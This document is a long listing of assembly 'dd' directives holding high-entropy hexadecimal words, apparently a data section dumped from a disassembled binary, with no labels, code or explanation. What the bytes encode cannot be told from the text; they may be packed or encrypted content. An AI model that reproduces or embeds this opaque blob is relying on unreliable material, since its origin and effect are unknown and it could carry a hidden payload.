dd 0F200F2AAh, 592D4DBFh, 0A0DFF715h, 2D45E5B8h, 75DC1F4Fh
dd 0C1250025h, 0CEF5C74h, 49E9D138h, 0F9ED0D8h, 0B490552Fh
dd 20466F5h, 34E954F4h, 0B927A2ACh, 5F55ABFFh, 8D48BCEAh
dd 54BD7BCCh, 0A95EEC2Ah, 5D2A89B5h, 0B5E146B3h, 0BB946AD3h
dd 6C142305h, 5042A820h, 2E45417Fh, 81F5901h, 0F6D837B3h
dd 5CBD163Ch, 69F5BCE0h, 0A55855EEh, 0A1200698h, 2FB904B7h
dd 0E9484B22h, 0D20A178Dh, 0E9B1F2F9h, 2C5B75EAh, 64C2C421h
dd 0ABFF74BBh, 9EA55E0h, 62A81ACEh, 0B31C257h, 0B7494908h
dd 8B6B0025h, 493E3CB8h, 0CBF60952h, 8F07F52h, 0C0024AACh
dd 0F8E905EEh, 5FECF2E4h, 7822F3FAh, 5553D000h, 0FD076468h
dd 55E97722h, 0AD2FB0D9h, 0FDC589B0h, 0A59C3CACh, 0B8143897h
dd 0C233002Fh, 72532D06h, 2BE3478h, 4EBF0516h, 658DE963h
dd 5362F661h, 78BD3D64h, 0F5F92A8Eh, 1BFE8B4h, 96B2F1Ah
dd 0FC4F5DEFh, 0F1B5CC46h, 393008E8h, 5D33BA01h, 8A70140Bh
dd 3DBD0310h, 4097E9A0h, 0C512024h, 1E7C7203h, 7885B569h
dd 2B9FA1EEh, 0FCE98620h, 0EFCE9E16h, 0FC7B1B64h, 20FED77Eh
dd 0FDBF575Fh, 0CBB07771h, 72CBE704h, 0ACAB40F5h, 9CF3D80h
dd 2318520h, 0F0C3E9ADh, 0FD595CCBh, 0F33F0C07h, 0EFCDF71Dh
dd 898682F3h, 2F8D7AFDh, 2E510A8Dh, 8ADBC147h, 3A069EFFh
dd 9D00327h, 0BD11E34h, 0F204F278h, 23971BB0h, 10F94A8h
dd 99C9E9CFh, 83589A74h, 2006B0E8h, 5C0FED17h, 2B52C80Fh
dd 278D7418h, 13209CF7h, 0FA43A8E9h, 0F0EBCC64h, 84702CBAh
dd 2AE9D07Bh, 6E7ED12h, 516A0193h, 2B0C2F69h, 6009EF1h
dd 794CAFEAh, 0DA013466h, 0EC081234h, 0CEE9F373h, 51EDB599h
dd 92BF5592h, 6CDD1EE7h, 97537B5Fh, 605B2C31h, 7414D0Eh
dd 4E18B24h, 3D3E4410h, 1666AC41h, 71EF159Fh, 0DED568B3h
dd 7C5E185Fh, 52EC9560h, 135BF89Fh, 0EB5E0F68h, 43615360h
dd 0C22676EAh, 3D0CE9AFh, 31AB10DFh, 0FDA75A4Ah, 0E9F4410Dh
dd 0E5F26836h, 32718A08h, 4370A4CCh, 0A3C2C8B6h, 3D5A65AAh
dd 0DE76EDADh, 0E83AC0A0h, 0ACECCF42h, 3D0B0128h, 32CC21BDh
dd 4CEA1064h, 41EF1F5Fh, 0FB307025h, 0F71F67D3h, 0EB010856h
dd 26B16199h, 0BA8CB30h, 2D30153Ah, 0E98D14D6h, 602BB0FDh
dd 47586887h, 4648DB9Fh, 0D827EA55h, 256F5B7Fh, 835F691Ah
dd 162C0D43h, 255E749h, 0FEFB8A41h, 144C8776h, 4B6B629Fh
dd 98FD123Dh, 82417A4Ch, 36760B40h, 0C81F8627h, 68D4471h
dd 0FB219977h, 4320925Fh, 57D8B5B8h, 0D929E397h, 613E44E7h
dd 7E656803h, 17D6B1ECh, 0DD96B488h, 179C5F4Ah, 5A8D092Dh
dd 8875162Eh, 0C5270723h, 0C799AE51h, 0EE4F1CB6h, 0DC08B113h
dd 0CD50D1A8h, 0F0660295h, 8A93E930h, 88E1AB6Bh, 3BDDC9F3h
dd 4157C7A0h, 0A2AD3EC2h, 948A5825h, 219B0445h, 115BC39Dh
dd 3BB32605h, 75C1EB80h, 58000F48h, 3D5AEC68h, 0D302108Ch
dd 0FEE2C4A1h, 55E999E0h, 0A7E3CFFAh, 76EC7475h, 0A710EC4Fh
dd 5F5C50E9h, 5F200B23h, 0A2E2AD85h, 0EE4F7EB6h, 5F877309h
dd 0F6806E70h, 0D582C7C6h, 1CD7BE42h, 2CA9B969h, 9D902020h
dd 0C2270169h, 0CABC7E75h, 77D0E6B5h, 16685B59h, 2DEB9D18h
dd 0EBFC111Eh, 2ACA7EC0h, 0EC82C612h, 0D80FA2C0h, 965A4931h
dd 342FD290h, 0AA084D04h, 0E9C23FE2h, 2360286Ah, 3FBAFDF1h
dd 3050D398h, 5D7FEB47h, 751CCF27h, 0ECE1443Bh, 0F5382B26h
dd 83414034h, 10B0839Fh, 29C5143Bh, 800ECDFCh, 0EA0F74C5h
dd 5350DA4Bh, 0E0D55CBDh, 0B62EF3BFh, 73AD4048h, 63A67012h
dd 4E0A04FAh, 22BE1398h, 0EC2D7463h, 0EAF57D3Ch, 0E90C0BB3h
dd 0C90FF5Ah, 0D0F6B20Bh, 21900EC0h, 58C13044h, 28C05B21h
dd 0DCE912CBh, 7CA4BFF8h
dd 0DAD84C29h, 0D032B404h, 0D2E2FF7Ch, 5EF2257Eh, 810F2251h
dd 0DD7D03CAh, 3CE0B719h, 2CC6A4A8h, 1660D029h, 7CAA933Bh
dd 0AB920CCEh, 0A93E7226h, 0E979B68Fh, 25BA5690h, 0F661B3D9h
dd 0A3CD80DEh, 132B1A71h, 466FAECh, 0B772FE35h, 0BF58909h
dd 0B068D80Ah, 0FCAE4AC6h, 0A0C04B50h, 9D5354E9h, 7C585469h
dd 30FD4F90h, 0B73360DDh, 16EB71DCh, 0A358FE2Eh, 856078CAh
dd 8026B74Bh, 287E7BF7h, 78444645h, 2A213807h, 0A799BA4Ah
dd 100F5C6Fh, 5D5617ACh, 0EA835CADh, 35E166D4h, 0C2C2DB01h
dd 9845088Bh, 510542Fh, 0FA3C20E9h, 43D8CD8Ch, 3EC54010h
dd 165A1949h, 0E63EC0Bh, 0D479FA68h, 0DE45CF68h, 0C48EBC78h
dd 500F18A3h, 0BBD286CEh, 4F8B372Dh, 34DD054Bh, 1D479726h
dd 5FA34D3Dh, 48CEBF0h, 1F628ABh, 30FAE6EEh, 0BA683BCDh
dd 6BC59E11h, 5180CB7Ch, 0A547C1B9h, 9DE19503h, 3DEF2FFFh
dd 0D0B27A4Dh, 3970DCC9h, 127794B7h, 0B2093C68h, 4E459555h
dd 58613AEBh, 4C1F2023h, 0C076905Eh, 47D8F131h, 92B07A6Eh
dd 5CC6A925h, 0E65D5AA7h, 9AEBF82Ah, 98EE4A41h, 0B57BB3F8h
dd 0E921CB0Bh, 68A6C0B8h, 0E9555FC4h, 1BCF10C8h, 431EFF4Fh
dd 0D146DB5Bh, 0A3715159h, 4A44DE60h, 2D4D804Dh, 0EE253B74h
dd 0FF8B7D2Ch, 7EE510D5h, 0EFD99F44h, 0E7AA56C4h, 0D1AED280h
dd 3B592DACh, 0E0867BFCh, 5298E0EFh, 61A80A20h, 2E4E8C40h
dd 29DAD65Ch, 0C62B3507h, 0D89965D9h, 0E2B7B4DFh, 5407E70Ah
dd 0E5567762h, 0A4973D40h, 4D97CBF8h, 2E68104Eh, 0CC5A512Ch
dd 0F23E870Dh, 8144CB56h, 541238E0h, 0F82EC14Bh, 4A1ABF32h
dd 0E5D0D4EAh, 3C676812h, 0D6010BB3h, 0F70CBD05h, 0C31E3AD0h
dd 0DC797B03h, 6B3AE869h, 2D460273h, 0B2366AA5h, 6C27715Eh
dd 0F1DF16A6h, 0D674EEFEh, 900ECF82h, 7422DD4h, 0F581702Eh
dd 0D85C02F4h, 0CE24CA76h, 0DC87583Fh, 576EC7DDh, 562CB509h
dd 0C6DD89E2h, 5E99AF9h, 0B1406D80h, 0C4F925C5h, 0FCD9F7D2h
dd 5EF73100h, 0C7BBB4D3h, 0D050E251h, 0A526D164h, 0B9B1710Ch
dd 68003452h, 0E5C443CAh, 0BA00F4DCh, 75470556h, 64E28107h
dd 85896C0Eh, 7E8540A5h, 0B2041213h, 0F60EAC79h, 0B05004F8h
dd 0FD14F0F5h, 4E8BFE5Fh, 468ABF92h, 0A45A3A4Ch, 3832E976h
dd 55C3F965h, 953DD374h, 3BFF7E2Ah, 557C04Bh, 0FC2048BFh
dd 6B70C223h, 0EE81DA74h, 46AB2A7Ah, 9E724FEDh, 9EF83C5h
dd 0DCEE95B1h, 81D12958h, 1E6F5CEAh, 409EE091h, 86275DF9h
dd 537EB026h, 66560665h, 5303AEE9h, 2133104Eh, 4F7BF158h
dd 5C324733h, 0E8524858h, 0E1881777h, 6D6402ADh, 1EBD6842h
dd 0C52B1855h, 83B2D62h, 38509186h, 965FA340h, 0BEA9F39h
dd 0BE58B074h, 9803FD20h, 0A4AB04Bh, 62F263B7h, 47380093h
dd 8DE94092h, 0B5AFE3D2h, 843478DFh, 8003C5BDh, 65C10AF3h
dd 54ABBEB4h, 0D401E13h, 20BC0BB9h, 0B9845384h, 50DCACCEh
dd 2570F077h, 6883F497h, 133C9083h, 2108DD01h, 0F641381h
dd 182502D5h, 644FE12h, 0E7BBAD05h, 297B482Fh, 5603FE39h
dd 0DA455CD4h, 8037C87Fh, 307D0EC4h, 0D86F58E3h, 947210ABh
dd 36061B7h, 67BA8E40h, 7D487BF2h, 0BEDE4ED6h, 987B324h
dd 0F1C5F7D9h, 57325BFh, 0BA052999h, 0F2AF6980h, 0D7AA4E75h
dd 1B31E77Dh, 4149EC59h, 0C0C0CB78h, 0A7BAC916h, 5BD9F323h
dd 4599FB9Ch, 0C6819C81h, 92899168h, 59E88608h, 0EC74BF5Ah
dd 2C1B90C1h, 5C768B3Eh, 567105F0h, 0E8015C0Fh, 6DEF3C5Ah
dd 0C37B1F61h, 4FC92A0Dh, 0EBE7FC29h, 6CDF281Dh, 4447CF8Fh
dd 0AC802504h, 4E4DA3FAh, 0BDC5C187h, 0A2EE143Fh, 9CBE9244h
dd 1E70E7CEh, 99E91384h, 51CDBA30h, 0EC4B6266h, 5742B1AAh
dd 0EA5BD16Dh, 0EE96D81Dh, 4162D0A9h, 0E8D0EDE9h, 88976870h
dd 632C959Eh, 0E878E9E2h, 12AEBD2Dh, 0FC3AED08h, 6C8506A1h
dd 70C7E25h, 2B9C3B46h, 0ABC22BE9h, 0EE020151h, 75061C59h
dd 5E5B9101h, 8374207Fh, 0C99E07FDh, 5A58256Ah, 1A103AB9h
dd 315E2D72h, 1FF08B3h, 39DFBA18h, 434212A2h, 60253DDBh
dd 2F3CF61Bh, 44262E5Eh, 3A7A5403h, 87EDF072h, 9B2C0546h
dd 0BF5DEA21h, 0CA6FB0h, 71EC1CF5h, 7973BB53h, 42DB43Eh
dd 0E815FBE3h, 0DCA9B482h, 0BEDC2712h, 0A4895F72h, 0E50B3383h
dd 0D09A2850h, 79A62507h, 0C18E3C52h, 4A220AC0h, 41B2AF5Ch
dd 7D4E3B0Eh, 882F7047h, 0DBD5CA62h, 0C0896904h, 9477AF62h
dd 852A9B8Dh, 0C1E1C149h, 36154281h, 782D03BCh, 0A8449869h
dd 5C3A3382h, 0C4204E73h, 0A186059Dh, 0C2E0BF13h, 8C412Eh
dd 7C3542E7h, 3D220E7Bh, 0DD909582h, 7F82BF20h, 0C1B5AC10h
dd 0B535980h, 0C7FE67B7h, 0E9089D0Ch, 12F2C927h, 2D464075h
dd 757B7733h, 2F0CFE60h, 0C8706252h, 0C38CD681h, 6F2946C9h
dd 0C2831CB9h, 5CA20B3Fh, 623248F7h, 8FB4AA13h, 52EBA041h
dd 0BF6DB87Ch, 0D1007C58h, 1BE10DE8h, 1F356A91h, 0D7FF3A6Fh
dd 4A62FB89h, 62177931h, 0EA60CF89h, 0FF5A884Fh, 0D8419462h
dd 94897952h, 0ADE958EBh, 0B717DABEh, 89CF400Ah, 0B8EF8001h
dd 0DA41E7C0h, 0BF00EA84h, 8F2E46C7h, 0E1103F3Eh, 8440FE4Ah
dd 3B6D4FA5h, 0A0D55FF7h, 80040530h, 0EE898402h, 38A3C7h
dd 1E91AFB8h, 0D9B73162h, 4D496B53h, 11C22B43h, 8696DDB9h
dd 484AF69Fh, 1E7F09F7h, 70075149h, 6E1FA262h, 0DE975184h
dd 0D0684642h, 67DB767Dh, 43C9AE08h, 0E9225680h, 56041A76h
dd 44315E58h, 0B051E8ABh, 5AE548E9h, 835CFEFEh, 128F4693h
dd 0DC8BAF92h, 0F74E1C3Fh, 690192F6h, 61F2148h, 17259739h
dd 0CE886E02h, 2754BCE2h, 86CB0239h, 755366D9h, 4A0730F4h
dd 5997EC88h, 8BF024Bh, 16577AD9h, 4B7564E9h, 1D63F294h
dd 2FD331A1h, 0A45F29A9h, 14E2FD2h, 0BD5B9928h, 805E77D6h
dd 0BC06DDD9h, 9868C3F6h, 3F4A157Fh, 3478B5B3h, 0FB84E036h
dd 8BE8B752h, 3C7138B1h, 0B70A96ADh, 272C86E7h, 477E0B3Bh
dd 1662D602h, 83DB0705h, 0B1E9F2C6h, 0C2FEF7E8h, 9B2D8072h
dd 1724DA28h, 0E32F8768h, 0FA55251Dh, 27CF24CDh, 8D273C30h
dd 5564B277h, 5EBFFE14h, 5E6858FEh, 65F52665h, 3B5BB1h
dd 11F681B2h, 6E767D54h, 7416CE78h, 0A60147FAh, 2CF2FE89h
dd 0E6631D3Ah, 4BE9430Bh, 19584F3Bh, 2850FA57h, 92F3A331h
dd 26A4638Bh, 438C4CD4h, 0F62525B2h, 28DD5CF4h, 30D70F15h
dd 0E9259EAh, 50C2D0FDh, 0DEE0CCB4h, 0EC33C078h, 1F070603h
dd 92E9AA12h, 506D90D4h, 422D2DB8h, 0B7A1F830h, 3AAD468Dh
dd 0EAA216BAh, 0D8EBCE85h, 297CE4Fh, 565066FFh, 5816BBA5h
dd 1E4F0488h, 7220AA35h, 3032C3EBh, 0BF50A1A7h, 4A4BAC48h
dd 88410FFh, 7ADB5B27h, 6ACDBA02h, 2A414058h, 0F2EBA9Fh
dd 2309287Eh, 0FEB1D445h, 30207829h, 168CBB1Ah, 5F60F025h
dd 12B6DAFCh, 7AD95D17h, 10DF447Eh, 0AADCEB52h, 0F799C650h
dd 0F0970BD2h, 1276E65Ah, 172106AAh, 0CAA6A0EFh, 0E514B891h
dd 5C0A00AEh, 0D480376h, 280813BFh, 4AF9302h, 5F4165D0h
dd 71357402h, 0D67FDF5Bh, 4E78874h, 0FC90903h, 0FFF0BD84h
dd 62882768h, 6A9518E6h, 0EBD1FC64h, 402D607Dh, 9534EA37h
dd 70BB062h, 0C0276EC7h, 2F16A7A5h, 4A447A1Ah, 2C0BCCD0h
dd 0D41EC289h, 0B3885820h, 4210F84Ch, 7105016Bh, 104926Ah
dd 804ED75h, 3D7850C7h
dd 967EA207h, 0A689A211h, 3D9D5B5Fh, 4ED77D92h, 92EFCD46h
dd 0E763F8B3h, 0D0EE0EE2h, 0F0EC0545h, 0FA081B68h, 0E81D6933h
dd 0E7C099EEh, 46E6B1F7h, 0FEF8CEE5h, 341CC1C6h, 3B5AF430h
dd 0D2EEFFC5h, 8E775550h, 56EBC22Ch, 0B06B7528h, 1FF156B4h
dd 0A45DF0A7h, 0B383B344h, 32060501h, 0BA1645E9h, 504E5849h
dd 807C9516h, 93058E2h, 5D276554h, 4FBB0C20h, 7A583F0Fh
dd 3D9A0093h, 0E9566FB7h, 0A60A5A87h, 0F7B12D4Dh, 90DFC3B0h
dd 449E7C9Fh, 931EA4F3h, 0FAC8AB5Bh, 3CE2D68h, 7FA83819h
dd 0DF5B9E09h, 9C02387Bh, 7645992Eh, 0BAC096Eh, 7C89D25Eh
dd 648C5E3Fh, 80E9D360h, 0D983C2F3h, 0B4788ED2h, 0C5AC5F4Dh
dd 88B83A57h, 0FF5DAEC4h, 0FE30E869h, 14D99D2Dh, 8CA06CE4h
dd 4B3FDE5Ch, 1164CBD8h, 0F97DDC06h, 4E4AE831h, 0FF4FC477h
dd 0E98287E3h, 0B6C49AE1h, 0ABB5302h, 6338A441h, 2724C06Bh
dd 0BCBEC13h, 65EF4884h, 4120E586h, 6BB584Eh, 513D6002h
dd 0FEFD20h, 0B25297B3h, 5AD488E1h, 5BDC281Eh, 2AD6F8D4h
dd 0EB75DB43h, 45B5587Eh, 0CA5AB8B9h, 0ACB04A2Fh, 88E8E0AEh
dd 7597A574h, 0B8BD9218h, 3CF70900h, 0E905EDC1h, 0F90BBF79h
dd 5E9214DFh, 5421814Ah, 709A7F5Bh, 974E9B26h, 6B2FBA5Eh
dd 2DC46F26h, 57504521h, 7176D0BFh, 32202690h, 0CBA49F49h
dd 0B360FAF3h, 95FEFA98h, 0A908BE73h, 11F5270Bh, 0BF2597B1h
dd 0D95C956Ah, 6CFE2BFFh, 0C27E9E9h, 9F2B5353h, 3410C55h
dd 0F4B7EB19h, 0C25D19DBh, 3C1EDCA7h, 0AC3DE914h, 0FE4A2D12h
dd 1E8916BFh, 4D86D311h, 0E88FD99Ch, 0F1CB1653h, 0EEC2F5BAh
dd 3962B35Eh, 0CE7BE9BDh, 0B4A661DCh, 497541CDh, 5127E12h
dd 0C4FC4EEEh, 6DFD255Eh, 837309CDh, 0F857D6A9h, 0B0C1BD79h
dd 4A287Bh, 0A73EB3BBh, 0C9B7B940h, 0E205310Bh, 3E94E199h
dd 0EC3F4399h, 0C1E9F1FBh, 0F501A68h, 0D0803BDh, 0EA31699Ch
dd 0FBC43F50h, 17B33E5Bh, 0E1655F27h, 7C906804h, 5F7D23A3h
dd 69F7D131h, 0CA810474h, 0E2FE6FB3h, 0D214F73Bh, 0D65483F5h
dd 10B463Ah, 0E115880Ch, 8A8F6641h, 82DEB7B0h, 0D4786227h
dd 1AC46FE7h, 1F5BDAEh, 0A1F38A5h, 54C41605h, 24BCEA6Bh
dd 3671CE64h, 8785463Eh, 0D716ED0Bh, 19BF1545h, 0F97BF6D0h
dd 71CF042Bh, 83FF1266h, 5D8C582h, 6ABE57D3h, 0FBE5658h
dd 0DA71589h, 5D18F680h, 0CC07DDDh, 497C8FCCh, 5EF52631h
dd 4AF72580h, 223C8017h, 1364234h, 495AE281h, 2B4A0E0Dh
dd 0F201BAA8h, 2CE631E4h, 0F4C27B52h, 3BBF760Ch, 7B83E2CFh
dd 0FC531B2Dh, 8E5662C7h, 8C48EE74h, 74A7EE09h, 5BC3699Ch
dd 720EFE1h, 0A8EA56C4h, 68E8D87Ch, 526C590Ch, 91F53085h
dd 7B5FF862h, 90561088h, 42B30BC5h, 0BD7410D4h, 77FE0807h
dd 2FB9F760h, 0B88A4AD5h, 0D35524ECh, 0A120A14Fh, 0CEED26DCh
dd 7B95364h, 7F8E7743h, 2F63B341h, 554A1614h, 0DC8204B4h
dd 0F9EAAAF2h, 6B68094Ah, 8840790Eh, 5E2D2CBEh, 102103A9h
dd 0C7E279Fh, 77410527h, 1AEEFE05h, 140A0C08h, 4F8A22E4h
dd 758525Eh, 0FA5BF276h, 1A7E2FBCh, 0FC00AA2h, 7C411ADBh
dd 0DD5124E9h, 0F5FA743h, 5587492Fh, 293DB238h, 14C5DF82h
dd 998697BFh, 69FD2491h, 1B1CFF04h, 8003E7C7h, 0B5514560h
dd 2EEDEC38h, 0BDAFEA3h, 9C55590Ah, 0FE5D257Bh, 1B3FF90h
dd 0DE39F598h, 89F7BA53h, 0F067E9F8h, 953490FDh, 24C09EFFh
dd 0ACD746E9h, 2B507916h, 353169EAh, 85F27B98h, 2539CDCAh
dd 4629D7h, 57511FE6h, 935ABF2Dh, 2F610882h, 89A23AFBh
dd 0B32308C1h, 0DF3EA50Ah, 707F4E09h, 413BEBBCh, 2160507Fh
dd 0A34C2402h, 0A8FD07E9h, 5FF72060h, 35683001h, 444B9376h
dd 5C0B2DECh, 49FE1765h, 0D95D4C02h, 70930772h, 0FB29F9EBh
dd 0F306BAB8h, 5C4A54ACh, 4DC7010Ch, 2DE92CFDh, 8BB82A42h
dd 367186CDh, 91FB4ABCh, 0EAB8E9F4h, 0C8885FDEh, 0F766070Eh
dd 0F94334D3h, 58811374h, 809764BCh, 775BE7B4h, 6817ED7Bh
dd 0B35CFEh, 744B4104h, 0DF24C239h, 0D105EB80h, 0B76362h
dd 0E66030CFh, 0D849816h, 258A1B1Eh, 70BBF00Ch, 95BECAC4h
dd 0DE9D8113h, 3AF3F95Bh, 52E96621h, 432228CFh, 11B71282h
dd 0BA9512BEh, 0C70159C4h, 562B6ACCh, 9302E35h, 8393BE20h
dd 4CC2654Fh, 3B78F7D9h, 21FF1934h, 55E3BB6h, 434C04AEh
dd 14F73127h, 74E2996Ah, 0F861DFE2h, 17A793F5h, 2F285CCAh
dd 0B0C0827Fh, 948E451h, 72BE673Fh, 1717B306h, 220EEE09h
dd 5A72D8B7h, 2D74E654h, 0F0F9EB9Ah, 4B5E6418h, 48D9EE08h
dd 0C122AC2Ah, 660C1A7Eh, 9E3FD70h, 18FC3DEFh, 0CB0F4EF6h
dd 641A475h, 4A708380h, 0B557F25Fh, 2C416870h, 55EAF2E7h
dd 0CC1DDF8h, 64656BC3h, 2C7F56Fh, 2E605008h, 4D817B09h
dd 0C514CB79h, 0F944B527h, 280A13EAh, 2E8C0A1Ch, 70054F85h
dd 16D18C45h, 4616669Ah, 6D00E6D1h, 4A3E2D59h, 0C284C142h
dd 2E6EF358h, 86E0F0E5h, 0A2DD2524h, 0FB986CF2h, 4C976813h
dd 42CF3146h, 0EEB0B6Fh, 2600E411h, 0D45DA1F3h, 37F1914Fh
dd 0E833D83Ah, 0C02DA1B6h, 801E1B67h, 0F12568ACh, 0FBE47Ah
dd 0B252EFB1h, 0E9C2FEA8h, 0AC4B2024h, 0E003BAA6h, 4E1AD634h
dd 3045FF7Ah, 9DEB52C3h, 0E55C7E60h, 70D876D6h, 419C34E9h
dd 10FBEC30h, 800F06CFh, 91E588C2h, 3C7797ECh, 89395703h
dd 4A6CDCFh, 559453A8h, 2FCD8BEh, 50191859h, 0F14FAAh
dd 0FEFAB353h, 0B35C5A62h, 1DE2100Bh, 0EF5F5412h, 0ED16ACDAh
dd 0CD36BC1Bh, 232059C4h, 4B174067h, 71BF40E3h, 4E485D7Ah
dd 0CD404D8h, 74D24237h, 0D7984801h, 955A819Fh, 7CE3FEA4h
dd 0CBD9C73Bh, 10A9CBBFh, 3502D77Dh, 70EF746Ah, 81003974h
dd 0C76D1EF1h, 5370BF6Bh, 3539C5E4h, 14BD48D3h, 4DBD463Ah
dd 8C628E8h, 0ED5DBFA2h, 0E8808D3Dh, 0C4A53F8Ch, 5B15CB7Bh
dd 8348C6F3h, 3105FE4Eh, 0B7D4BFE9h, 832BE2BAh, 948A6855h
dd 53C156ECh, 2138E734h, 719D01E0h, 414F2046h, 23E90581h
dd 75E85731h, 5A1A9211h, 771AE85Ch, 0DDACAB4Bh, 0A2D53187h
dd 0B15312A4h, 0B27787A0h, 290AC908h, 810820C6h, 6D9E5BC3h
dd 0D7FDD482h, 164FC126h, 0D64DFC24h, 529D61BEh, 0F7698168h
dd 555D05E6h, 5BDD8FAh, 83169BEEh, 4F49FE60h, 2CF7882h
dd 0D50E6768h, 4D60597Bh, 2717F3BBh, 0EF728Fh, 35B85077h
dd 184EA431h, 7C0B1113h, 0A410C60Fh, 0A7309FA3h, 0A4C0259h
dd 76DF2586h, 299982C3h, 0F4757022h, 0BAFD64A4h, 28AAE045h
dd 0D8809629h, 62C57A32h, 3194F0E9h, 0EEC9561Eh, 4A81E463h
dd 4EDDFE55h, 66F59A02h, 0A3C49D04h, 0B6AFC897h, 9A44B50Ah
dd 0D84E4BF0h, 0A5EECD84h, 0C3287F6Ah, 9AC70968h, 0FBF155DEh
dd 685DEA60h, 32124ADBh, 0D7C88FC6h, 0C904F581h, 453E5716h
dd 4838BFEh, 1850239Ch, 0DC2E03C0h, 0E9BE0904h, 0E890AFACh
dd 122D1E71h, 59885D49h, 0AB0C3408h, 0C61D9ACh, 0FA3F4C56h
dd 0D48C77Fh, 192ED86h, 6CEAB2EAh, 9CBA7EAh, 8CAFF133h
dd 0E111DA10h, 0BE4DF190h, 0D7AF1018h, 7E98ED4Bh, 8DBEEA4Eh
dd 3DA73FD8h, 0B4F7F3CFh, 687F02CCh, 983EB8B4h, 0C5FBDB0Dh
dd 1B7A1357h, 4BF5CA59h, 0BD98CFEh, 0F7B30A5Bh, 0AFE0D69Ch
dd 800276D9h, 91BA0012h, 275BA719h, 5EA907BFh, 11078620h
dd 17DC206h, 0B0C1C9Ah
dd 50966CE3h, 33474400h, 0E2BD382Bh, 405157E3h, 9A00A76Ah
dd 51254105h, 0E71159E9h, 285F880Bh, 0DA9ECB55h, 0F64C5D58h
dd 4BABF195h, 1463CE5Dh, 0C3D6ECE9h, 0AED2C50h, 58507E74h
dd 0F70404E2h, 883E80D5h, 97241ECBh, 0F02FBA31h, 7D5A823Bh
dd 0C71DADE1h, 0CED37F3Dh, 68921602h, 0BCE7004Ch, 475C9B7Ch
dd 8BBA2748h, 6C710086h, 12948B98h, 0EADE8956h, 8E37E4D9h
dd 0FA50E018h, 5C70C380h, 0BC36CB7Ah, 14254CDDh, 830FF168h
dd 0A8BBAC0h, 0E93637A4h, 9DA377ABh, 0A2B5DDF0h, 0C322FBAh
dd 9AA468BAh, 0DE295E2Fh, 61447A97h, 0EA0DD5Fh, 0CD63F35Fh
dd 35119748h, 3F4315E7h, 6AC9DFCDh, 0A40279E1h, 845127D6h
dd 20675E08h, 0AE3C45EBh, 62692458h, 9E50D55Ah, 205672CBh
dd 72EABE38h, 80504E7Ah, 7423EECCh, 5E175325h, 0AD03126Dh
dd 819099C7h, 1B00E055h, 667E9E68h, 9D5CF831h, 0C8FD030Bh
dd 2708710Ah, 93F77725h, 8C1800A4h, 5A0DCF7h, 30E64810h
dd 56B02D01h, 0D0010AC6h, 5BD0F96Eh, 1A31B3D7h, 0E834FE84h
dd 48DC955Fh, 89BFFC92h, 0BDE23BE3h, 0AC87D627h, 0F7A91F5Fh
dd 977E7877h, 0ABBAC898h, 9D498403h, 5B237BE9h, 0EB04EB30h
dd 0DE4CB12h, 87201875h, 2EF24804h, 310EAF12h, 35904CC1h
dd 50BAD17Fh, 61B721B0h, 103A5157h, 0F1497F21h, 43958781h
dd 38D1CE47h, 0CD61697Dh, 7AA8DED0h, 0DB772797h, 5CE11592h
dd 819D54F6h, 3B153097h, 9984BFF2h, 78E8BE86h, 0B068C59Ch
dd 9989F528h, 5758D586h, 243FCDF4h, 0AD687BBFh, 0F49623F4h
dd 0EBC17C42h, 7F6BE106h, 29638D2Fh, 4BE84CDFh, 0FB8E94FFh
dd 726BB26Dh, 5C01B0D4h, 0F2E0D231h, 8208BE6Eh, 120A5753h
dd 86348075h, 9D01CC30h, 4442E389h, 0E34FF840h, 5EB5C8A4h
dd 0A1D72FD4h, 8E2E939h, 0EFBD2097h, 0E8290A45h, 9A9C21B9h
dd 5B5D24BBh, 5FFB077Eh, 0EE1C2521h, 41ECF1DCh, 39803F32h
dd 1EDF2BBEh, 41F08908h, 0AE787735h, 98A02B54h, 1E07AD1h
dd 6A5324C0h, 7C4B9EE9h, 50A7CBC7h, 0FABB4E0Eh, 39C87724h
dd 0CDAD27E9h, 83902A79h, 425FCF5Ah, 0D42210EEh, 428DBF4Ah
dd 0AA3123F0h, 0C0DC55B9h, 1A4C0272h, 46F5099Eh, 4B6871ACh
dd 1218E361h, 0CFAA4199h, 12985E95h, 60BF41B1h, 3B1EB313h
dd 47CD6F41h, 0AC3AACF5h, 0A2BAC02Dh, 1D0D622Ah, 2DB5E957h
dd 6870E054h, 0FA2C1238h, 58BC0466h, 5EB8131Fh, 1C8CEE4Bh
dd 258EB9EAh, 696E14F7h, 760E3221h, 14B53E62h, 2D3040F7h
dd 32E9EC32h, 5F281085h, 50B0985Fh, 0ECBA0552h, 0FF26A175h
dd 0B07C6180h, 0D699842h, 66B17DE9h, 6FB4D972h, 14335005h
dd 0FCE50198h, 54944959h, 0B950AA01h, 7EEE0923h, 4B8A82E0h
dd 0F2CCB8AFh, 1CDC87h, 1B236852h, 5A5C5685h, 0A3204B1Bh
dd 0CAA36484h, 9CEA8D82h, 1332DE66h, 5D6CB055h, 4B2B5B95h
dd 81807AD4h, 8248AACFh, 493DF64Ch, 7A5C9A14h, 98705D25h
dd 21D874BDh, 0C6B6AB0h, 0E9DC6C01h, 0BF17BB65h, 40F46649h
dd 173CBD8Bh, 132DC935h, 12FE91Fh, 63978F5h, 6CC79507h
dd 2818081Ah, 8D033F15h, 0EBE90B99h, 241059C9h, 1379026Fh
dd 114035DEh, 5C95F9A7h, 0D3554959h, 2F1E8E8h, 100206F5h
dd 0FA6BC8E4h, 0E8C45D11h, 6F1E724Bh, 6E4D89B1h, 0B493E86Dh
dd 3D5AEBF9h, 21BF0D53h, 2AAADC17h, 0EFB473A8h, 0D01514BCh
dd 4D199674h, 3BC54347h, 0B4183FF9h, 7FF21754h, 90158805h
dd 5107D589h, 17F837D9h, 0C8EE10FDh, 0A54009C9h, 8003F381h
dd 89770FD4h, 7854EAD9h, 575C584Bh, 0B9763104h, 0B4C0EA70h
dd 153EED1h, 5014FDBBh, 61DE211Eh, 3C2A8150h, 4E31044Fh
dd 10AD6D60h, 1D6EED6Bh, 0D693AA09h, 0D91080A9h, 7ABC4AD5h
dd 0E82A1958h, 8EEA40A4h, 60F2BA41h, 3FB2520Bh, 460D07Fh
dd 0E9A6C280h, 6C9EACF0h, 0FAABAD62h, 8BFD95E6h, 29ECF036h
dd 9150AE5h, 59F95530h, 17C0D112h, 50490946h, 1F85934Dh
dd 0E403118h, 99A62CC9h, 950AF61Fh, 9A1D333Ah, 0B125FE00h
dd 58DBF73Bh, 0EB02E74Bh, 0AAE1A650h, 5827355Ch, 7E0A045Ah
dd 1FCA29F5h, 47503897h, 4BAB59DEh, 998CCD0h, 9F8BD9Ah
